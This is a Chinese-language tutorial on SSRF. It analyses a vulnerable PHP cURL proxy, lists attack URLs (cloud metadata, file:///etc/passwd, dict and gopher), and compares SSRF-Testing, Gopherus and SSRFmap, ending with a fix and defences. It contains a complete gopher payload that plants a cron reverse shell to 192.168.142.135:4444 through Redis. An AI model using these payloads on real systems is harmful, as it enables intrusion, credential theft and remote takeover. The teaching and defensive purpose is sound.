ssrf 介绍
这段 PHP 代码虽然很短,但却存在严重的安全风险。下面我会从代码功能 、逐行解析 、潜在危害 和如何改进四个方面进行详细说明。
1. 代码功能概述
这段代码通过 $_GET['url'] 接收用户传入的 URL,然后利用 PHP 的 cURL 库向该 URL 发起 HTTP 请求,并将获取到的响应内容(例如网页 HTML、图片二进制数据等)直接输出到浏览器。本质上,它实现了一个**没有访问控制的代理(Proxy)**功能。
2. 逐行详细解释
php
<?php
function curl($url){
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
第 1 行:<?php
PHP 代码开始标记。
第 2 行:function curl($url){
定义一个名为 curl 的函数,它接收一个参数 $url(目标地址)。
第 3 行:$ch = curl_init();
初始化一个新的 cURL 会话,返回一个 cURL 句柄 $ch。这个句柄将用于后续的所有 cURL 操作。
第 4 行:curl_setopt($ch, CURLOPT_URL, $url);
设置 cURL 选项:CURLOPT_URL 指定要请求的 URL,这里直接使用了函数参数 $url。
第 5 行:curl_setopt($ch, CURLOPT_HEADER, 0);
设置 CURLOPT_HEADER 为 0(false),意味着不将 HTTP 响应头输出到结果中 。只输出响应的 body(正文部分)。如果设置为 1,则会将响应头也包含在输出中。
第 6 行:curl_exec($ch);
执行 cURL 会话:向指定 URL 发出 HTTP 请求(默认为 GET 方法),并将返回的响应内容直接打印(输出)到浏览器。
第 7 行:curl_close($ch);
关闭 cURL 会话,释放系统资源。
第 8 行:}
函数定义结束。
第 9 行:$url = $_GET['url'];
从 HTTP GET 参数中读取名为 url 的值,并将其赋值给变量 $url。例如访问 http://example.com/this_script.php?url=https://www.baidu.com,则 $url 的值为 "https://www.baidu.com"。
第 10 行:curl($url);
调用前面定义的 curl 函数,把用户提供的 $url 传进去。
第 11 行:?>
PHP 代码结束标记。
3. 这段代码的致命安全问题:SSRF
什么是 SSRF?
SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种漏洞,攻击者可以让服务器向任意地址发起请求,包括内网地址、本地回环地址、甚至 file 协议读取本地文件。
此代码中的 SSRF 风险
由于 $_GET['url'] 没有经过任何过滤或限制,攻击者可以传入恶意 URL:
| 恶意 URL 示例 | 后果 |
|---|---|
http://169.254.169.254/latest/meta-data/ |
如果服务器在云平台(AWS、阿里云等),可能获取云主机的元数据,包括临时凭证、密钥等。 |
http://127.0.0.1:8080/admin/ |
探测内网中开放的 Web 服务,如管理后台、数据库管理界面。 |
file:///etc/passwd |
关键 :cURL 支持 file:// 协议,攻击者可以读取服务器上的任意文件(前提是 PHP 的 cURL 编译时启用了 file 协议,很多环境默认支持)。 |
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0ainfo%0d%0a |
利用 gopher 协议攻击内网的 Redis、MySQL 等服务,实现更复杂的攻击。 |
http://攻击者控制的服务器/evil |
利用服务器作为跳板发起攻击,隐藏攻击者真实 IP。 |
http://example.com/largefile.bin |
如果目标 URL 返回大文件,会导致服务器大量内存占用甚至耗尽资源(拒绝服务)。 |
为什么 file:// 协议特别危险?
因为很多 PHP 环境允许 cURL 读取本地文件。例如:
http://victim.com/proxy.php?url=file:///etc/passwd
服务器会返回 /etc/passwd 文件内容。这直接导致任意文件读取漏洞。
4. 其他潜在问题
4.1 无错误处理
代码没有检查 curl_init() 是否成功,也没有判断 curl_exec() 是否出错。如果目标 URL 无法访问或超时,可能会显示 PHP 警告信息,泄露服务器路径等敏感信息。
4.2 响应内容直接输出
没有设置合适的 Content-Type,如果目标是一个二进制文件(如图片、PDF),可能会破坏页面显示。但没有安全风险,只是体验问题。
4.3 未禁止 HTTP 重定向跟随
cURL 默认会跟随 Location: 重定向(最多跟随 5 次)。攻击者可以让服务器跳转到内网地址,绕过简单的域名黑名单(如果有)。
5. 如何修复(安全使用 cURL 代理)
如果确实需要一个允许用户指定 URL 的代理(例如用于抓取网页内容),必须实施严格的白名单控制。
修复建议(至少做以下所有操作)
-
限制允许的协议
只允许
http://和https://,禁止file://、gopher://、dict://等协议。 -
禁止访问内网 IP
检查目标 IP 是否为私有地址(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)或回环地址(127.0.0.0/8),如果是则拒绝请求。
-
使用白名单域名
如果业务需求明确(例如只允许抓取
api.example.com),直接写死域名,不接受用户完全控制的 URL。 -
设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 5);避免长时间等待或慢速攻击。 -
禁用自动重定向
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);或者自己检查重定向目标是否安全。 -
不直接输出结果
将
curl_exec()的结果先存入变量,记录日志,再按需输出,并设置正确的Content-Type。 -
使用 allow_url_fopen = Off
虽然不影响 cURL,但可以防止
file_get_contents()等函数造成类似问题。
示例修复代码(关键部分)
php
function safe_curl($url){
// 1. 仅允许 http/https
if (!preg_match('/^https?:\/\//i', $url)) {
die("Invalid protocol");
}
// 2. 解析域名,禁止内网 IP
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
die("IP not allowed");
}
// 3. 设置超时,禁用重定向
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回结果而非直接输出
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
6. 总结
| 方面 | 评价 |
|---|---|
| 功能 | 实现了一个简单的 URL 代理,没有任何访问控制。 |
| 安全风险 | 极高。存在 SSRF 漏洞,可导致内网探测、云元数据窃取、任意文件读取、内网服务攻击等严重问题。 |
| 适用场景 | 仅限 本地测试、极度受控的内部环境,绝对不能部署在任何公网服务器上。 |
| 学习意义 | 这是一个经典的反面教材,用于理解 用户输入不可信 和 SSRF 攻击 的原理。 |
如果你是在学习网络安全渗透,那么这段代码正是一个非常好的 靶标 ------ 你可以亲手尝试用 file:///etc/passwd 或 http://127.0.0.1 来测试它的漏洞。但在实际开发和部署中,绝对不能写出这样的代码。
php curl 扩展
获取网页资源------爬虫
webservice------获取接口数据
FTP------下载文件
php.ini extension=php_curl.dll
PHP其他函数
| 函数 | 作用 |
|---|---|
curl_exec() |
执行 cURL 会话 |
file_get_contents() |
将整个文件内容读取到一个字符串中 |
fsockopen() |
打开一个网络连接或 Unix 套接字连接 |
注意: 这些函数如果未对用户输入进行严格过滤,都可能引发 SSRF(服务端请求伪造)漏洞。
CURL其他协议
| 协议 | 作用 | 示例 Payload |
|---|---|---|
file |
读取服务器本地文件 | curl -v 'file:///etc/passwd' |
dict |
探测端口或获取服务信息 | http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 |
gopher |
构造复杂协议请求,常用于攻击内网服务(如 Redis、MySQL) | curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
说明:
file协议:可直接读取服务器文件系统,是 SSRF 攻击中常用的文件读取手段。dict协议:可用于探测端口是否开放,或获取某些服务的版本信息。gopher协议:功能强大,可构造任意 TCP 数据包,常被用于攻击 Redis、MySQL 等未授权访问的内网服务,甚至实现反弹 Shell。
这些协议在未加限制的 cURL 请求中均可被利用,进一步扩大了 SSRF 的攻击面。
危害:
1、扫描资产
2、获取敏感信息
3、攻击内网服务器(绕过防火墙)
4、访问大文件,造成溢出
5、通过Redis写入WebShell或建立反弹连接
ssrf 场景场景
社会化分享功能
转码服务: 百度app转码网页为手机网页
在线翻译:
图片加载,下载功能
文章、图片收藏功能
网站采集、网站
如何发现ssrf 漏洞
1、爬取地址
2、查看是否请求了其他资源
也可以用Google语法搜索关键字:
share、wap、url、link、src、source、target、u、
3g、display、sourceURL、imageURL、domain
自动化工具
https://github.com/cujanovic/SSRF-Testing
https://github.com/tarunkant/Gopherus
https://github.com/swisskyrepo/SSRFmap
这三个工具恰好覆盖了SSRF漏洞测试的三个不同阶段:信息收集 、漏洞利用 和自动化攻击。它们的侧重点完全不同,正好可以形成一套组合拳。
- SSRF-Testing:一本"百科全书"(信息收集与绕过手册)
- Gopherus:一把"万能钥匙"(Gopher协议Payload生成器)
- SSRFmap:一门"自动化火炮"(半自动化漏洞利用框架)
下面是它们的具体介绍和对比:
📖 1. SSRF-Testing:信息收集与绕过手册
这是一个以资源收集和知识库为核心的项目,它本身不是一个自动化工具,而是一个"教科书"式的仓库。
- 核心目的:帮助理解SSRF的原理和进行初步的漏洞验证。
- 主要内容 :
- 绕过技巧宝典:收录了大量用于绕过常见SSRF防御黑名单的技巧和Payload。
- 各种"怪"响应测试:提供了用于测试不同HTTP重定向状态码和文件类型响应的在线Demo,帮助理解服务器在不同情况下的行为。
- 知识笔记与备忘单:项目里有许多作者的学习笔记和备忘录,对于初学者来说是非常宝贵的学习材料。
场景:当你面对一个有SSRF漏洞的URL,但IP或域名被拦截时,可以来这里快速查找并尝试各种绕过方法。
🔑 2. Gopherus:Gopher协议Payload生成器
这是一个非常专精的Payload生成工具 。它不负责发现漏洞,只负责在你已确认SSRF漏洞存在且支持Gopher协议后,生成用于利用的恶意Payload。
- 核心功能:通过交互式问答,生成针对多种内网服务的Gopher协议利用Payload。
- 支持的服务(几乎涵盖了内网常见的所有服务) :
- 数据库:MySQL、PostgreSQL
- 缓存:Redis、Memcached
- Web/应用:FastCGI
- 监控/邮件:Zabbix、SMTP
- 利用效果 :生成的Payload可以让你实现内网资产探测、远程代码执行(RCE)、获取反向Shell、读写敏感文件等操作。
- 适用场景:在CTF比赛后期或实战渗透中,当你已确认一个SSRF点并想最大化其危害时,它是一个绝佳的"弹药"生产器。
场景:你已经确认某个参数存在SSRF漏洞且后端支持Gopher协议,需要快速生成一个Payload来反弹Redis的shell。这时,使用Gopherus就是最高效的选择。
⚔️ 3. SSRFmap:半自动化漏洞利用框架
与Gopherus的"生成器"定位不同,SSRFmap是一个集成化的利用框架。它把"发现"和"利用"两个环节都包揽了。
- 核心工作流 :
- 输入:接受一个Burp Suite的请求文件作为输入。
- Fuzz:自动对指定的参数进行Fuzz测试,探测是否存在SSRF漏洞。
- 利用 :一旦确认漏洞,内置了丰富的利用模块(Modules)。
- 丰富的模块列表 :
- 信息探测:端口扫描、网络扫描、文件读取、云厂商元数据窃取(AWS, Alibaba等)。
- 漏洞利用:FastCGI RCE、Redis RCE、Github Enterprise RCE、MySQL/Postgres命令执行等。
- 高级利用:SOCKS代理、SMB哈希捕获、Tomcat爆破等。
- 适用场景:当你有大量的目标URL需要批量检测SSRF漏洞并快速评估其危害时,这个框架可以极大地提升效率。
场景:在对一个大型网站进行渗透测试时,你通过Burp Suite抓取了数百个带有URL参数的请求。你可以将它们全部喂给SSRFmap,让它自动完成漏洞发现和初步利用。
📊 三个工具的对比总结
| 特性 | SSRF-Testing | Gopherus | SSRFmap |
|---|---|---|---|
| 定位 | 📖 知识库 / 备忘录 | 🎯 Payload生成器 | ⚔️ 漏洞利用框架 |
| 自动化程度 | 低 (手动参考) | 中等 (交互式生成) | 高 (自动化探测与利用) |
| 核心功能 | 提供绕过技巧、测试案例 | 生成Gopher协议的利用载荷 | 自动Fuzz、多模块漏洞利用 |
| 输入/产出 | 无 / 知识和URL | 目标服务信息 / Gopher链接 | Burp请求 / 多种利用结果 |
| 主要用途 | 学习原理、查找绕过方法 | 精准利用单个SSRF点 | 批量检测、快速评估危害 |
| 学习曲线 | 低 | 低 | 中 |
💎 如何选择与使用?
- 入门学习 :建议从
SSRF-Testing开始,了解各种绕过技巧和原理,打好基础。 - 深入练习 :在CTF或靶场遇到SSRF题目时,先用
SSRFmap进行快速探测和评估,再用Gopherus针对特定目标生成Payload进行精准打击。 - 实战应用 :
- 挖洞/渗透时 :面对单个可疑的URL参数,先用
SSRF-Testing里的技巧手动尝试绕过。找到突破口后,用Gopherus生成攻击载荷。 - 大批量测试时 :直接上
SSRFmap,将Burp抓到的包批量导入,让它自动完成扫描和初步利用。
- 挖洞/渗透时 :面对单个可疑的URL参数,先用
希望这份对比能帮你更好地理解和选择工具。下次在靶场练习时,可以试试把它们组合起来用,比如用SSRFmap发现漏洞,再用Gopherus进一步利用,效果会非常好。
防御
1、禁用协议
2、限制请求端口
3、设置URL白名单
4、过滤返回信息
5、统一错误信息